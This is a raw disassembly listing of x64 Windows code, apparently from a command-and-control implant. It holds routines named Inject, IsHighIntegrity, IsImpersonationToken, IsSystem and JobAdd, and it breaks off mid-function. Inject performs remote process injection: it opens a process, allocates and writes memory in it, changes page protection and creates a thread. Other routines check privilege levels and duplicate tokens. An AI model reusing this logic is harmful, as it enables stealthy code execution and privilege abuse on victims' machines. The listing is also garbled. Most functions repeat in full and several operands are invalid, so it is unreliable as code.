140015f26xor eax, eax
140015f28push rsi
140015f29push rbx
140015f2asub rsp, 448
140015f31mov rbx, [rip+0x16438]
140015f38lea rdi, [rsp+40]
140015f3drep stosd [rdi], eax
140015f3fmov esi, [rbx+12]
140015f42test esi, esi
140015f44je 0x140015f4d
140015f46
140015f46loc_140015f46:
140015f46mov esi, 1
140015f4bjmp 0x140015fad
140015f4d
140015f4dloc_140015f4d:
140015f4dlea rdi, [rip+0x1737c]
140015f54lea r9, [rip+0x12e05]
140015f5bmov r8l, 41
140015f61mov rdx, rdi
140015f64lea rcx, [rip+0x12de1]
140015f6bcall printf
140015f70lea rdx, [rsp+40]
140015f75mov ecx, 514
140015f7acall [rbx+1844]
140015f80mov r9l, eax
140015f83test eax, eax
140015f85je 0x140015fa4
140015f87mov r8l, 45
140015f8dmov rdx, rdi
140015f90lea rcx, [rip+0x12de0]
140015f97call printf
140015f9ccall [rbx+1852]
140015fa2jmp 0x140015fad
140015fa4
140015fa4loc_140015fa4:
140015fa4mov [rbx+12], 1
140015fabjmp 0x140015f46
140015fad
140015fadloc_140015fad:
140015fadadd rsp, 448
140015fb4mov eax, esi
140015fb6pop rbx
140015fb7pop rsi
140015fb8pop rdi
140015fb9ret
140015f20
140015fba
140015fba // align 0x10
140015fba // align 0x10
140015fc0
140015fc0Inject:
140015fc0push r15
140015fc2xor eax, eax
140015fc4push r14
140015fc6mov r14l, ecx
140015fc9push r13
140015fcbpush r12
140015fcdmov r12l, r9l
140015fd0push rbp
140015fd1push rdi
140015fd2push rsi
140015fd3mov esi, r8l
140015fd6push rbx
140015fd7mov rbx, rdx
140015fdasub rsp, 72
140015fdetest rdx, rdx
140015fe1mov [rsp+60], eax
140015fe5sete r13b
140015fe9test r8l, r8l
140015fecjne 0x140015ffc
140015feemov ebp, 2
140015ff3test r13b, r13b
140015ff6jne 0x1400163c6
140015ffc
140015ffcloc_140015ffc:
140015ffcmov rax, [rsp+176]
140016004or rax, [rsp+184]
14001600cmov ebp, 2
140016011je 0x1400163c6
140016017test rbx, rbx
14001601amov rbp, [rip+0x1634f]
140016021jne 0x140016087
140016023mov edx, 0x1fffff
140016028mov ecx, esi
14001602acall ProcessOpen
14001602fmov rbx, rax
140016032test rax, rax
140016035jne 0x140016064
140016037mov rax, [rbp+2230]
14001603emov r8l, 57
140016044xor esi, esi
140016046xor edi, edi
140016048lea rdx, [rip+0x16d41]
14001604flea rcx, [rip+0x1497a]
140016056mov r9l, [rax+104]
14001605acall printf
14001605fjmp 0x1400161fc
140016064
140016064loc_140016064:
140016064mov [rsp+32], rax
140016069mov r9l, esi
14001606cmov r8l, 61
140016072lea rdx, [rip+0x16d17]
140016079lea rcx, [rip+0x1498c]
140016080call printf
140016085jmp 0x1400160a3
140016087
140016087loc_140016087:
140016087mov r9, rbx
14001608amov r8l, 64
140016090lea rdx, [rip+0x16cf9]
140016097lea rcx, [rip+0x149a8]
14001609ecall printf
1400160a3
1400160a3loc_1400160a3:
1400160a3test r12l, r12l
1400160a6lea r15, [rip+0x149e5]
1400160adje 0x1400160c5
1400160afcmp [rbp+88], 0
1400160b4lea r9, [rip+0x149c8]
1400160bbmov r8l, 69
1400160c1jne 0x1400160e7
1400160c3jmp 0x140016100
1400160c5
1400160c5loc_1400160c5:
1400160c5mov rcx, rbx
1400160c8call ProcessIsWow
1400160cdcmp [rbp+88], 9
1400160d2jne 0x140016120
1400160d4test eax, eax
1400160d6jne 0x140016120
1400160d8lea r9, [rip+0x149ea]
1400160dfmov r8l, 81
1400160e5jmp 0x140016100
1400160e7
1400160e7loc_1400160e7:
1400160e7mov rcx, rbx
1400160eacall ProcessIsWow
1400160eftest eax, eax
1400160f1je 0x140016120
1400160f3lea r9, [rip+0x149ac]
1400160famov r8l, 77
140016100
140016100loc_140016100:
140016100lea rdx, [rip+0x16c89]
140016107mov rcx, r15
14001610axor esi, esi
14001610cxor edi, edi
14001610ecall printf
140016113xor r12l, r12l
140016116mov ebp, 3
14001611bjmp 0x140016362
140016120
140016120loc_140016120:
140016120mov r8, [rsp+184]
140016128mov r9l, 4
14001612emov rdx, rbx
140016131xor ecx, ecx
140016133call MemoryAlloc
140016138lea r9, [rip+0x149ad]
14001613fmov r8l, 88
140016145mov rdi, rax
140016148test rax, rax
14001614bje 0x1400161eb
140016151mov r9, rax
140016154mov r8l, 91
14001615alea rdx, [rip+0x16c2f]
140016161lea rcx, [rip+0x149b8]
140016168call printf
14001616dmov r9, [rsp+184]
140016175mov rdx, rdi
140016178mov rcx, rbx
14001617bmov r8, [rsp+176]
140016183call MemoryWrite
140016188lea r9, [rip+0x149d6]
14001618fmov r8l, 96
140016195test eax, eax
140016197je 0x1400161eb
140016199mov r9, [rsp+184]
1400161a1mov r8l, 99
1400161a7lea rdx, [rip+0x16be2]
1400161aelea rcx, [rip+0x149e5]
1400161b5call printf
1400161bamov r8, rdi
1400161bdmov rdx, rbx
1400161c0mov ecx, 2
1400161c5mov [rsp+32], 32
1400161cdmov r9, [rsp+184]
1400161d5call MemoryProtect
1400161datest eax, eax
1400161dcjne 0x140016204
1400161delea r9, [rip+0x149fd]
1400161e5mov r8l, 104
1400161eb
1400161ebloc_1400161eb:
1400161eblea rdx, [rip+0x16b9e]
1400161f2mov rcx, r15
1400161f5xor esi, esi
1400161f7call printf
1400161fc
1400161fcloc_1400161fc:
1400161fcxor r12l, r12l
1400161ffjmp 0x14001635d
140016204
140016204loc_140016204:
140016204lea r9, [rip+0x14a03]
14001620bmov r8l, 107
140016211lea rdx, [rip+0x16b78]
140016218mov rcx, r15
14001621bcall printf
140016220cmp [rsp+200], 0
140016229je 0x1400162ea
14001622fcmp [rsp+208], 0
140016238je 0x1400162ea
14001623emov r8, [rsp+208]
140016246mov r9l, 4
14001624cmov rdx, rbx
14001624fxor ecx, ecx
140016251call MemoryAlloc
140016256lea r9, [rip+0x149e2]
14001625dmov r8l, 115
140016263mov rsi, rax
140016266test rax, rax
140016269je 0x1400161eb
14001626bmov r9, rax
14001626emov r8l, 118
140016274lea rdx, [rip+0x16b15]
14001627blea rcx, [rip+0x149fa]
140016282call printf
140016287mov r9, [rsp+208]
14001628fmov rdx, rsi
140016292mov rcx, rbx
140016295mov r8, [rsp+200]
14001629dcall MemoryWrite
1400162a2test eax, eax
1400162a4jne 0x1400162c7
1400162a6lea r9, [rip+0x14a1d]
1400162admov r8l, 123
1400162b3lea rdx, [rip+0x16ad6]
1400162bamov rcx, r15
1400162bdcall printf
1400162c2jmp 0x1400161fc
1400162c7
1400162c7loc_1400162c7:
1400162c7mov r9, [rsp+208]
1400162cfmov r8l, 126
1400162d5lea rdx, [rip+0x16ab4]
1400162dclea rcx, [rip+0x14a1d]
1400162e3call printf
1400162e8jmp 0x1400162ec
1400162ea
1400162ealoc_1400162ea:
1400162eaxor esi, esi
1400162ec
1400162ecloc_1400162ec:
1400162eclea rax, [rsp+60]
1400162f1mov [rsp+32], rsi
1400162f6mov r8l, r12l
1400162f9mov rdx, rbx
1400162fcmov [rsp+40], rax
140016301mov rax, [rsp+192]
140016309movzx ecx, r14b
14001630dlea r9, [rdi+rax]
140016311call ThreadCreate
140016316lea rdx, [rip+0x16a73]
14001631dtest rax, rax
140016320mov r12, rax
140016323je 0x140016340
140016325mov r9l, [rsp+60]
14001632amov r8l, 133
140016330lea rcx, [rip+0x14a12]
140016337xor ebp, ebp
140016339call printf
14001633ejmp 0x140016362
140016340
140016340loc_140016340:
140016340mov rax, [rbp+2230]
140016347mov r8l, 135
14001634dlea rcx, [rip+0x14a47]
140016354mov r9l, [rax+104]
140016358call printf
14001635d
14001635dloc_14001635d:
14001635dmov ebp, 1
140016362
140016362loc_140016362:
140016362lea r9, [rip+0x14a6e]
140016369mov r8l, 139
14001636flea rdx, [rip+0x16a1a]
140016376lea rcx, [rip+0x14715]
14001637dcall printf
140016382cmp ebp, 1
140016385jne 0x1400163a7
140016387test rdi, rdi
14001638aje 0x140016397
14001638cmov rdx, rdi
14001638fmov rcx, rbx
140016392call MemoryFree
140016397
140016397loc_140016397:
140016397test rsi, rsi
14001639aje 0x1400163a7
14001639cmov rdx, rsi
14001639fmov rcx, rbx
1400163a2call MemoryFree
1400163a7
1400163a7loc_1400163a7:
1400163a7test rbx, rbx
1400163aaje 0x1400163b9
1400163actest r13b, r13b
1400163afje 0x1400163b9
1400163b1mov rcx, rbx
1400163b4call SysNtClose
1400163b9
1400163b9loc_1400163b9:
1400163b9test r12, r12
1400163bcje 0x1400163c6
1400163bemov rcx, r12
1400163c1call SysNtClose
1400163c6
1400163c6loc_1400163c6:
1400163c6add rsp, 72
1400163camov eax, ebp
1400163ccpop rbx
1400163cdpop rsi
1400163cepop rdi
1400163cfpop rbp
1400163d0pop r12
1400163d2pop r13
1400163d4pop r14
1400163d6pop r15
1400163d8ret
140015fc0
140015fc0Inject:
140015fc0push r15
140015fc2xor eax, eax
140015fc4push r14
140015fc6mov r14l, ecx
140015fc9push r13
140015fcbpush r12
140015fcdmov r12l, r9l
140015fd0push rbp
140015fd1push rdi
140015fd2push rsi
140015fd3mov esi, r8l
140015fd6push rbx
140015fd7mov rbx, rdx
140015fdasub rsp, 72
140015fdetest rdx, rdx
140015fe1mov [rsp+60], eax
140015fe5sete r13b
140015fe9test r8l, r8l
140015fecjne 0x140015ffc
140015feemov ebp, 2
140015ff3test r13b, r13b
140015ff6jne 0x1400163c6
140015ffc
140015ffcloc_140015ffc:
140015ffcmov rax, [rsp+176]
140016004or rax, [rsp+184]
14001600cmov ebp, 2
140016011je 0x1400163c6
140016017test rbx, rbx
14001601amov rbp, [rip+0x1634f]
140016021jne 0x140016087
140016023mov edx, 0x1fffff
140016028mov ecx, esi
14001602acall ProcessOpen
14001602fmov rbx, rax
140016032test rax, rax
140016035jne 0x140016064
140016037mov rax, [rbp+2230]
14001603emov r8l, 57
140016044xor esi, esi
140016046xor edi, edi
140016048lea rdx, [rip+0x16d41]
14001604flea rcx, [rip+0x1497a]
140016056mov r9l, [rax+104]
14001605acall printf
14001605fjmp 0x1400161fc
140016064
140016064loc_140016064:
140016064mov [rsp+32], rax
140016069mov r9l, esi
14001606cmov r8l, 61
140016072lea rdx, [rip+0x16d17]
140016079lea rcx, [rip+0x1498c]
140016080call printf
140016085jmp 0x1400160a3
140016087
140016087loc_140016087:
140016087mov r9, rbx
14001608amov r8l, 64
140016090lea rdx, [rip+0x16cf9]
140016097lea rcx, [rip+0x149a8]
14001609ecall printf
1400160a3
1400160a3loc_1400160a3:
1400160a3test r12l, r12l
1400160a6lea r15, [rip+0x149e5]
1400160adje 0x1400160c5
1400160afcmp [rbp+88], 0
1400160b4lea r9, [rip+0x149c8]
1400160bbmov r8l, 69
1400160c1jne 0x1400160e7
1400160c3jmp 0x140016100
1400160c5
1400160c5loc_1400160c5:
1400160c5mov rcx, rbx
1400160c8call ProcessIsWow
1400160cdcmp [rbp+88], 9
1400160d2jne 0x140016120
1400160d4test eax, eax
1400160d6jne 0x140016120
1400160d8lea r9, [rip+0x149ea]
1400160dfmov r8l, 81
1400160e5jmp 0x140016100
1400160e7
1400160e7loc_1400160e7:
1400160e7mov rcx, rbx
1400160eacall ProcessIsWow
1400160eftest eax, eax
1400160f1je 0x140016120
1400160f3lea r9, [rip+0x149ac]
1400160famov r8l, 77
140016100
140016100loc_140016100:
140016100lea rdx, [rip+0x16c89]
140016107mov rcx, r15
14001610axor esi, esi
14001610cxor edi, edi
14001610ecall printf
140016113xor r12l, r12l
140016116mov ebp, 3
14001611bjmp 0x140016362
140016120
140016120loc_140016120:
140016120mov r8, [rsp+184]
140016128mov r9l, 4
14001612emov rdx, rbx
140016131xor ecx, ecx
140016133call MemoryAlloc
140016138lea r9, [rip+0x149ad]
14001613fmov r8l, 88
140016145mov rdi, rax
140016148test rax, rax
14001614bje 0x1400161eb
140016151mov r9, rax
140016154mov r8l, 91
14001615alea rdx, [rip+0x16c2f]
140016161lea rcx, [rip+0x149b8]
140016168call printf
14001616dmov r9, [rsp+184]
140016175mov rdx, rdi
140016178mov rcx, rbx
14001617bmov r8, [rsp+176]
140016183call MemoryWrite
140016188lea r9, [rip+0x149d6]
14001618fmov r8l, 96
140016195test eax, eax
140016197je 0x1400161eb
140016199mov r9, [rsp+184]
1400161a1mov r8l, 99
1400161a7lea rdx, [rip+0x16be2]
1400161aelea rcx, [rip+0x149e5]
1400161b5call printf
1400161bamov r8, rdi
1400161bdmov rdx, rbx
1400161c0mov ecx, 2
1400161c5mov [rsp+32], 32
1400161cdmov r9, [rsp+184]
1400161d5call MemoryProtect
1400161datest eax, eax
1400161dcjne 0x140016204
1400161delea r9, [rip+0x149fd]
1400161e5mov r8l, 104
1400161eb
1400161ebloc_1400161eb:
1400161eblea rdx, [rip+0x16b9e]
1400161f2mov rcx, r15
1400161f5xor esi, esi
1400161f7call printf
1400161fc
1400161fcloc_1400161fc:
1400161fcxor r12l, r12l
1400161ffjmp 0x14001635d
140016204
140016204loc_140016204:
140016204lea r9, [rip+0x14a03]
14001620bmov r8l, 107
140016211lea rdx, [rip+0x16b78]
140016218mov rcx, r15
14001621bcall printf
140016220cmp [rsp+200], 0
140016229je 0x1400162ea
14001622fcmp [rsp+208], 0
140016238je 0x1400162ea
14001623emov r8, [rsp+208]
140016246mov r9l, 4
14001624cmov rdx, rbx
14001624fxor ecx, ecx
140016251call MemoryAlloc
140016256lea r9, [rip+0x149e2]
14001625dmov r8l, 115
140016263mov rsi, rax
140016266test rax, rax
140016269je 0x1400161eb
14001626bmov r9, rax
14001626emov r8l, 118
140016274lea rdx, [rip+0x16b15]
14001627blea rcx, [rip+0x149fa]
140016282call printf
140016287mov r9, [rsp+208]
14001628fmov rdx, rsi
140016292mov rcx, rbx
140016295mov r8, [rsp+200]
14001629dcall MemoryWrite
1400162a2test eax, eax
1400162a4jne 0x1400162c7
1400162a6lea r9, [rip+0x14a1d]
1400162admov r8l, 123
1400162b3lea rdx, [rip+0x16ad6]
1400162bamov rcx, r15
1400162bdcall printf
1400162c2jmp 0x1400161fc
1400162c7
1400162c7loc_1400162c7:
1400162c7mov r9, [rsp+208]
1400162cfmov r8l, 126
1400162d5lea rdx, [rip+0x16ab4]
1400162dclea rcx, [rip+0x14a1d]
1400162e3call printf
1400162e8jmp 0x1400162ec
1400162ea
1400162ealoc_1400162ea:
1400162eaxor esi, esi
1400162ec
1400162ecloc_1400162ec:
1400162eclea rax, [rsp+60]
1400162f1mov [rsp+32], rsi
1400162f6mov r8l, r12l
1400162f9mov rdx, rbx
1400162fcmov [rsp+40], rax
140016301mov rax, [rsp+192]
140016309movzx ecx, r14b
14001630dlea r9, [rdi+rax]
140016311call ThreadCreate
140016316lea rdx, [rip+0x16a73]
14001631dtest rax, rax
140016320mov r12, rax
140016323je 0x140016340
140016325mov r9l, [rsp+60]
14001632amov r8l, 133
140016330lea rcx, [rip+0x14a12]
140016337xor ebp, ebp
140016339call printf
14001633ejmp 0x140016362
140016340
140016340loc_140016340:
140016340mov rax, [rbp+2230]
140016347mov r8l, 135
14001634dlea rcx, [rip+0x14a47]
140016354mov r9l, [rax+104]
140016358call printf
14001635d
14001635dloc_14001635d:
14001635dmov ebp, 1
140016362
140016362loc_140016362:
140016362lea r9, [rip+0x14a6e]
140016369mov r8l, 139
14001636flea rdx, [rip+0x16a1a]
140016376lea rcx, [rip+0x14715]
14001637dcall printf
140016382cmp ebp, 1
140016385jne 0x1400163a7
140016387test rdi, rdi
14001638aje 0x140016397
14001638cmov rdx, rdi
14001638fmov rcx, rbx
140016392call MemoryFree
140016397
140016397loc_140016397:
140016397test rsi, rsi
14001639aje 0x1400163a7
14001639cmov rdx, rsi
14001639fmov rcx, rbx
1400163a2call MemoryFree
1400163a7
1400163a7loc_1400163a7:
1400163a7test rbx, rbx
1400163aaje 0x1400163b9
1400163actest r13b, r13b
1400163afje 0x1400163b9
1400163b1mov rcx, rbx
1400163b4call SysNtClose
1400163b9
1400163b9loc_1400163b9:
1400163b9test r12, r12
1400163bcje 0x1400163c6
1400163bemov rcx, r12
1400163c1call SysNtClose
1400163c6
1400163c6loc_1400163c6:
1400163c6add rsp, 72
1400163camov eax, ebp
1400163ccpop rbx
1400163cdpop rsi
1400163cepop rdi
1400163cfpop rbp
1400163d0pop r12
1400163d2pop r13
1400163d4pop r14
1400163d6pop r15
1400163d8ret
140015fc0
1400163d9
1400163d9 // align 0x10
1400163d9 // align 0x10
1400163e5
1400163e5 // align 0x10
1400163e5 // align 0x10
1400163f7
1400163f7 // align 0x10
1400163f7 // align 0x10
140016400
140016400IsHighIntegrity:
140016400push rbx
140016401xor r8l, r8l
140016404xor edx, edx
140016406xor ecx, ecx
140016408mov r9l, 544
14001640eadd rsp, -128
140016412mov rbx, [rip+0x15f57]
140016419lea rax, [rsp+120]
14001641emov [rsp+114], edx
140016422mov edx, 2
140016427mov [rsp+120], rcx
14001642clea rcx, [rsp+114]
140016431mov [rsp+72], r8l
140016436mov [rsp+64], r8l
14001643bmov [rsp+56], r8l
140016440mov [rsp+48], r8l
140016445mov [rsp+40], r8l
14001644amov [rsp+32], r8l
14001644fmov r8l, 32
140016455mov [rsp+108], 1
14001645dmov [rsp+118], 1280
140016464mov [rsp+80], rax
140016469call [rbx+1428]
14001646ftest eax, eax
140016471je 0x1400164a4
140016473xor ecx, ecx
140016475mov rdx, [rsp+120]
14001647alea r8, [rsp+108]
14001647fcall [rbx+1436]
140016485test eax, eax
140016487jne 0x14001648f
140016489xor eax, eax
14001648bmov [rsp+108], eax
14001648f
14001648floc_14001648f:
14001648fmov rcx, [rsp+120]
140016494call [rbx+1380]
14001649axor eax, eax
14001649ccmp [rsp+108], 0
1400164a1setne al
1400164a4
1400164a4loc_1400164a4:
1400164a4sub rsp, -128
1400164a8pop rbx
1400164a9ret
140016400
140016400IsHighIntegrity:
140016400push rbx
140016401xor r8l, r8l
140016404xor edx, edx
140016406xor ecx, ecx
140016408mov r9l, 544
14001640eadd rsp, -128
140016412mov rbx, [rip+0x15f57]
140016419lea rax, [rsp+120]
14001641emov [rsp+114], edx
140016422mov edx, 2
140016427mov [rsp+120], rcx
14001642clea rcx, [rsp+114]
140016431mov [rsp+72], r8l
140016436mov [rsp+64], r8l
14001643bmov [rsp+56], r8l
140016440mov [rsp+48], r8l
140016445mov [rsp+40], r8l
14001644amov [rsp+32], r8l
14001644fmov r8l, 32
140016455mov [rsp+108], 1
14001645dmov [rsp+118], 1280
140016464mov [rsp+80], rax
140016469call [rbx+1428]
14001646ftest eax, eax
140016471je 0x1400164a4
140016473xor ecx, ecx
140016475mov rdx, [rsp+120]
14001647alea r8, [rsp+108]
14001647fcall [rbx+1436]
140016485test eax, eax
140016487jne 0x14001648f
140016489xor eax, eax
14001648bmov [rsp+108], eax
14001648f
14001648floc_14001648f:
14001648fmov rcx, [rsp+120]
140016494call [rbx+1380]
14001649axor eax, eax
14001649ccmp [rsp+108], 0
1400164a1setne al
1400164a4
1400164a4loc_1400164a4:
1400164a4sub rsp, -128
1400164a8pop rbx
1400164a9ret
140016400
1400164aa
1400164aa // align 0x10
1400164aa // align 0x10
1400164b0
1400164b0IsImpersonationToken:
1400164b0push rbp
1400164b1xor eax, eax
1400164b3xor edx, edx
1400164b5push rdi
1400164b6mov rdi, rcx
1400164b9mov ecx, 64
1400164bepush rsi
1400164bfxor esi, esi
1400164c1push rbx
1400164c2sub rsp, 72
1400164c6mov rbp, [rip+0x15ea3]
1400164cdmov [rsp+52], edx
1400164d1mov edx, 4096
1400164d6mov [rsp+56], rax
1400164dbcall [rbp+932]
1400164e1test rax, rax
1400164e4je 0x140016551
1400164e6mov rbx, rax
1400164e9lea rax, [rsp+52]
1400164eemov edx, 9
1400164f3mov rcx, rdi
1400164f6mov [rsp+32], rax
1400164fbmov r9l, 4096
140016501mov r8, rbx
140016504call [rbp+1340]
14001650atest eax, eax
14001650cje 0x140016519
14001650exor esi, esi
140016510cmp [rbx], 1
140016513seta sil
140016517jmp 0x140016548
140016519
140016519loc_140016519:
140016519lea rax, [rsp+56]
14001651emov rcx, rdi
140016521mov edx, 0xf01ff
140016526mov r9l, 2
14001652cmov [rsp+32], rax
140016531mov r8l, 2
140016537call TokenDuplicate
14001653cmov rcx, [rsp+56]
140016541mov esi, eax
140016543call SysNtClose
140016548
140016548loc_140016548:
140016548mov rcx, rbx
14001654bcall [rbp+940]
140016551
140016551loc_140016551:
140016551add rsp, 72
140016555mov eax, esi
140016557pop rbx
140016558pop rsi
140016559pop rdi
14001655apop rbp
14001655bret
1400164b0
1400164b0IsImpersonationToken:
1400164b0push rbp
1400164b1xor eax, eax
1400164b3xor edx, edx
1400164b5push rdi
1400164b6mov rdi, rcx
1400164b9mov ecx, 64
1400164bepush rsi
1400164bfxor esi, esi
1400164c1push rbx
1400164c2sub rsp, 72
1400164c6mov rbp, [rip+0x15ea3]
1400164cdmov [rsp+52], edx
1400164d1mov edx, 4096
1400164d6mov [rsp+56], rax
1400164dbcall [rbp+932]
1400164e1test rax, rax
1400164e4je 0x140016551
1400164e6mov rbx, rax
1400164e9lea rax, [rsp+52]
1400164eemov edx, 9
1400164f3mov rcx, rdi
1400164f6mov [rsp+32], rax
1400164fbmov r9l, 4096
140016501mov r8, rbx
140016504call [rbp+1340]
14001650atest eax, eax
14001650cje 0x140016519
14001650exor esi, esi
140016510cmp [rbx], 1
140016513seta sil
140016517jmp 0x140016548
140016519
140016519loc_140016519:
140016519lea rax, [rsp+56]
14001651emov rcx, rdi
140016521mov edx, 0xf01ff
140016526mov r9l, 2
14001652cmov [rsp+32], rax
140016531mov r8l, 2
140016537call TokenDuplicate
14001653cmov rcx, [rsp+56]
140016541mov esi, eax
140016543call SysNtClose
140016548
140016548loc_140016548:
140016548mov rcx, rbx
14001654bcall [rbp+940]
140016551
140016551loc_140016551:
140016551add rsp, 72
140016555mov eax, esi
140016557pop rbx
140016558pop rsi
140016559pop rdi
14001655apop rbp
14001655bret
1400164b0
14001655c
14001655c // align 0x10
14001655c // align 0x10
140016560
140016560IsNotCurrentUser:
140016560test ecx, ecx
140016562je 0x140016584
140016564mov rax, rdx
140016567sub rsp, 40
14001656bmov rdx, [r8]
14001656emov rcx, [rax]
140016571call StringCompareW
140016576xor edx, edx
140016578test eax, eax
14001657asetne dl
14001657dadd rsp, 40
140016581mov eax, edx
140016583ret
140016584
140016584loc_140016584:
140016584mov eax, 1
140016589ret
140016560
140016560IsNotCurrentUser:
140016560test ecx, ecx
140016562je 0x140016584
140016564mov rax, rdx
140016567sub rsp, 40
14001656bmov rdx, [r8]
14001656emov rcx, [rax]
140016571call StringCompareW
140016576xor edx, edx
140016578test eax, eax
14001657asetne dl
14001657dadd rsp, 40
140016581mov eax, edx
140016583ret
140016584
140016584loc_140016584:
140016584mov eax, 1
140016589ret
140016560
14001658a
14001658a // align 0x10
14001658a // align 0x10
140016590
140016590IsSystem:
140016590push rsi
140016591xor edx, edx
140016593xor ecx, ecx
140016595mov r9l, 84
14001659bpush rbx
14001659csub rsp, 216
1400165a3mov rsi, [rip+0x15dc6]
1400165aalea rax, [rsp+100]
1400165afmov [rsp+106], edx
1400165b3lea r8, [rsp+124]
1400165b8mov edx, 1
1400165bdmov [rsp+112], rcx
1400165c2xor ecx, ecx
1400165c4mov [rsp+110], 1280
1400165cbmov [rsp+32], rax
1400165d0call [rsi+1340]
1400165d6test eax, eax
1400165d8jne 0x1400165de
1400165da
1400165daloc_1400165da:
1400165daxor ebx, ebx
1400165dcjmp 0x14001663c
1400165de
1400165deloc_1400165de:
1400165delea rax, [rsp+112]
1400165e3xor r9l, r9l
1400165e6lea rcx, [rsp+106]
1400165ebmov r8l, 18
1400165f1mov [rsp+80], rax
1400165f6xor eax, eax
1400165f8mov edx, 1
1400165fdmov [rsp+72], eax
140016601mov [rsp+64], eax
140016605mov [rsp+56], eax
140016609mov [rsp+48], eax
14001660dmov [rsp+40], eax
140016611mov [rsp+32], eax
140016615call [rsi+1428]
14001661btest eax, eax
14001661dje 0x1400165da
14001661fmov rcx, [rsp+124]
140016624mov rdx, [rsp+112]
140016629call [rsi+1460]
14001662fmov rcx, [rsp+112]
140016634mov ebx, eax
140016636call [rsi+1380]
14001663c
14001663cloc_14001663c:
14001663cadd rsp, 216
140016643mov eax, ebx
140016645pop rbx
140016646pop rsi
140016647ret
140016590
140016590IsSystem:
140016590push rsi
140016591xor edx, edx
140016593xor ecx, ecx
140016595mov r9l, 84
14001659bpush rbx
14001659csub rsp, 216
1400165a3mov rsi, [rip+0x15dc6]
1400165aalea rax, [rsp+100]
1400165afmov [rsp+106], edx
1400165b3lea r8, [rsp+124]
1400165b8mov edx, 1
1400165bdmov [rsp+112], rcx
1400165c2xor ecx, ecx
1400165c4mov [rsp+110], 1280
1400165cbmov [rsp+32], rax
1400165d0call [rsi+1340]
1400165d6test eax, eax
1400165d8jne 0x1400165de
1400165da
1400165daloc_1400165da:
1400165daxor ebx, ebx
1400165dcjmp 0x14001663c
1400165de
1400165deloc_1400165de:
1400165delea rax, [rsp+112]
1400165e3xor r9l, r9l
1400165e6lea rcx, [rsp+106]
1400165ebmov r8l, 18
1400165f1mov [rsp+80], rax
1400165f6xor eax, eax
1400165f8mov edx, 1
1400165fdmov [rsp+72], eax
140016601mov [rsp+64], eax
140016605mov [rsp+56], eax
140016609mov [rsp+48], eax
14001660dmov [rsp+40], eax
140016611mov [rsp+32], eax
140016615call [rsi+1428]
14001661btest eax, eax
14001661dje 0x1400165da
14001661fmov rcx, [rsp+124]
140016624mov rdx, [rsp+112]
140016629call [rsi+1460]
14001662fmov rcx, [rsp+112]
140016634mov ebx, eax
140016636call [rsi+1380]
14001663c
14001663cloc_14001663c:
14001663cadd rsp, 216
140016643mov eax, ebx
140016645pop rbx
140016646pop rsi
140016647ret
140016590
140016648
140016648 // align 0x10
140016648 // align 0x10
140016650
140016650JobAdd:
140016650push r14
140016652movsx eax, r9w
140016656mov r14l, ecx
140016659lea rcx, [rip+0x11a90]
140016660push r13
140016662push r12
140016664push rbp
140016665push rdi
140016666mov edi, edx
140016668push rsi
140016669mov esi, r8l
14001666cpush rbx
14001666dmov ebx, r9l
140016670mov r9l, edx
140016673lea rdx, [rip+0x16b96]
14001667asub rsp, 64
14001667emov r13, [rsp+160]
140016686mov r12, [rsp+168]
14001668emov [rsp+40], eax
140016692movsx eax, r8w
140016696mov [rsp+32], eax
14001669amov r8l, 20
1400166a0mov [rsp+56], r12
1400166a5mov [rsp+48], r13
1400166aacall printf
1400166afmov edx, 40
1400166b4mov ecx, 64
1400166b9mov rbp, [rip+0x15cb0]
1400166c0call [rbp+932]
1400166c6xor edx, edx
1400166c8mov [rax+32], rdx
1400166ccmov rdx, [rbp+2302]
1400166d3mov [rax], r14l
1400166d6mov [rax+4], edi
1400166d9mov [rax+8], si
1400166ddmov [rax+10], bx
1400166e1mov [rax+16], r13
1400166e5mov [rax+24], r12
1400166e9test rdx, rdx
1400166ecjne 0x1400166f7
1400166eemov [rbp+2302], rax
1400166f5jmp 0x140016707
1400166f7
1400166f7loc_1400166f7:
1400166f7mov rcx, rdx
1400166famov rdx, [rdx+32]
1400166fetest rdx, rdx
140016701jne 0x1400166f7
140016703mov [rcx+32], rax
140016707
140016707loc_140016707:
140016707add rsp, 64
14001670bpop rbx
14001670cpop rsi
14001670dpop rdi
14001670epop rbp
14001670fpop r12
140016711pop r13
140016713pop r14
140016715ret
140016650
140016650JobAdd:
140016650push r14
140016652movsx eax, r9w
140016656mov r14l, ecx
140016659lea rcx, [rip+0x11a90]
140016660push r13
140016662push r12
140016664push rbp
140016665push rdi
140016666mov edi, edx
140016668push rsi
140016669mov esi, r8l
14001666cpush rbx
14001666dmov ebx, r9l
140016670mov r9l, edx
140016673lea rdx, [rip+0x16b96]
14001667asub rsp, 64
14001667emov r13, [rsp+160]
140016686mov r12, [rsp+168]
14001668emov [rsp+40], eax
140016692movsx eax, r8w
140016696mov [rsp+32], eax
14001669amov r8l, 20
1400166a0mov [rsp+56], r12
1400166a5mov [rsp+48], r13
1400166aacall printf
1400166afmov edx, 40
1400166b4mov ecx, 64
1400166b9mov rbp, [rip+0x15cb0]
1400166c0call [rbp+932]
1400166c6xor edx, edx
1400166c8mov [rax+32], rdx
1400166ccmov rdx, [rbp+2302]
1400166d3mov [rax], r14l
1400166d6mov [rax+4], edi
1400166d9mov [rax+8], si
1400166ddmov [rax+10], bx
1400166e1mov [rax+16], r13
1400166e5mov [rax+24], r12
1400166e9test rdx, rdx
1400166ecjne 0x1400166f7
1400166eemov [rbp+2302], rax
1400166f5jmp 0x140016707
1400166f7
1400166f7loc_1400166f7:
1400166f7mov rcx, rdx
1400166famov rdx, [rdx+32]
1400166fetest rdx, rdx
140016701jne 0x1400166f7
140016703mov [rcx+32], rax
140016707
140016707loc_140016707:
140016707add rsp, 64
14001670bpop rbx
14001670cpop rsi
14001670dpop rdi
14001670epop rbp
14001670fpop r12
140016711pop r13
140016713pop r14
140016715ret
140016650
140016716
140016716 // align 0x10
140016716 // align 0x10
140016720
140016720JobCheckList:
140016720push r12
140016722push rbp
140016723push rdi
140016724push rsi
140016725push rbx
140016726sub rsp, 64
14001672amov rsi, [rip+0x15c3f]
140016731mov rbx, [rsi+2302]
140016738
140016738loc_140016738:
140016738test rbx, rbx
14001673bje 0x14001698b
140016741mov eax, [rbx+8]
140016744cmp ax, 2
140016748je 0x14001675b
14001674acmp ax, 3
14001674eje 0x1400167b8
140016750dec ax
140016753jne 0x140016982
140016759jmp 0x14001677d
14001675b
14001675bloc_14001675b:
14001675bcmp [rbx+10], 1
140016760jne 0x140016982
140016766xor eax, eax
140016768mov rcx, [rbx+16]
14001676clea rdx, [rsp+60]
140016771mov [rsp+60], eax
140016775call [rsi+964]
